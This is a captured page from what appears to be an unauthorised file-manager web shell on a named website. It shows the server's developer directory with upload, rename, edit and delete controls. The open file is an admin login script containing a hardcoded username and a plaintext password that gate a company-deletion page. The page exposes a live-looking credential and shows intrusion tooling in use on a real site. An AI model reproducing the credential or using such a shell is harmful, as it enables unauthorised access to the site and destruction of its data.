[ Root System Explorer ]
Location:
Root
/
var
/
www
/
html
/
acma.in
/
developer
+ Folder
+ File
Upload
Editing: index.php
<?php session_start(); /* |-------------------------------------------------------------------------- | STATIC LOGIN |-------------------------------------------------------------------------- */ $validUsername = "developer"; $validPassword = "#6yXapvtCugzENlSBl?A"; /* |-------------------------------------------------------------------------- | HANDLE LOGIN |-------------------------------------------------------------------------- */ $error = ""; if ($_SERVER['REQUEST_METHOD'] == 'POST') { $username = trim($_POST['username']); $password = trim($_POST['password']); if ( $username == $validUsername && $password == $validPassword ) { $_SESSION['admin_logged_in'] = true; $_SESSION['admin_username'] = $username; header("Location: delete-companies.php"); exit; } else { $error = "Invalid Username or Password"; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0" > <title>Admin Login</title> <style> body{ margin:0; padding:0; background:#f5f5f5; font-family:Arial; } .login-container{ width:400px; background:#fff; margin:100px auto; padding:30px; border-radius:10px; box-shadow:0 0 10px rgba(0,0,0,0.1); } h2{ text-align:center; margin-bottom:30px; } input{ width:100%; padding:12px; margin-bottom:15px; border:1px solid #ccc; border-radius:5px; box-sizing:border-box; } button{ width:100%; padding:12px; background:#007bff; color:#fff; border:none; border-radius:5px; cursor:pointer; font-size:16px; } .error{ background:#f8d7da; color:#721c24; padding:10px; margin-bottom:15px; border-radius:5px; } </style> </head> <body> <div class="login-container"> <h2>Admin Login</h2> <?php if (!empty($error)) { ?> <div class="error"> <?php echo $error; ?> </div> <?php } ?> <form method="POST"> <input type="text" name="username" placeholder="Username" required > <input type="password" name="password" placeholder="Password" required > <button type="submit"> Login </button> </form> </div> </body> </html>
SAVE CHANGES
[ CANCEL ]
Name
Type
Actions
.. (Parent Directory)
📄 add-companies.php
FILE
Ren
[EDIT]
DEL
📄 db-connection.php
FILE
Ren
[EDIT]
DEL
📄 delete-companies.php
FILE
Ren
[EDIT]
DEL
📄 developer-tools.php
FILE
Ren
[EDIT]
DEL
📁 files/
DIR
Ren
DEL
📄 header.php
FILE
Ren
[EDIT]
DEL
📄 index.php
FILE
Ren
[EDIT]
DEL